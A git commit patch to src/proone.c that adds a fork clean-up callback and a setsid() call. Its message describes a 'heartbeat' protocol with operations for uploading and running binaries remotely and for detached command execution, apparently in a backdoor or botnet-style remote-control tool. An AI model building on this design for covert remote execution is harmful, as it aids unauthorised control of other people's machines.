From f6e94a01fd84b693c5a74b8f40edb4dc89836bdf Mon Sep 17 00:00:00 2001 From: David Timber Date: Fri, 6 Aug 2021 15:59:38 +1000 Subject: htbt and protocol overhaul ... * htbt overhaul * Abandon async slv io. slv io is now synchronous * htbt_do_cmd() * w/ detach flag: set up closed pipes for stdio * Create new pg for child and kill the pg on error * Do waitpid() w/ timeout * Wait for child spawn w/ timeout * Always reap child * Add fork cb for clean up code(to unmask signals, deinit libs) * Protocol overhaul * Use stdio frames to transfer binary data for PRNE_HTBT_OP_UP_BIN and PRNE_HTBT_OP_RUN_BIN op * bin_meta bin_size -> alloc_len. This is an optional field now * Fix protocol * detach flag of cmd_head not being (de)serialised * cmd_head (d)ser funcs not setting actual correctly * Proone: call setsid() on daemonisation * Fix compilation error caused by missing --- src/proone.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) (limited to 'src/proone.c') diff --git a/src/proone.c b/src/proone.c index 574e55b..15a5e28 100644 --- a/src/proone.c +++ b/src/proone.c @@ -219,6 +219,17 @@ static bool cb_upbin ( return true; } +static bool cb_fork (void *ctx) { + sigset_t ss; + + sigfillset(&ss); + pth_sigmask(SIG_UNBLOCK, &ss, NULL); + + libssh2_exit(); + + return true; +} + static void alloc_htbt (void) { prne_htbt_t *htbt; @@ -238,6 +249,7 @@ static void alloc_htbt (void) { param.cb_f.hostinfo = cb_htbt_hostinfo; param.cb_f.tmpfile = cb_tmpfile; param.cb_f.upbin = cb_upbin; + param.cb_f.fork = cb_fork; param.rcb = &prne_g.rcb_param; param.blackhole = prne_g.blackhole[1]; @@ -1393,6 +1405,7 @@ int main (const int argc, const char **args) { } else if (f_ret == 0) { prne_g.parent_pid = getpid(); + setsid(); } else { goto END; -- cgit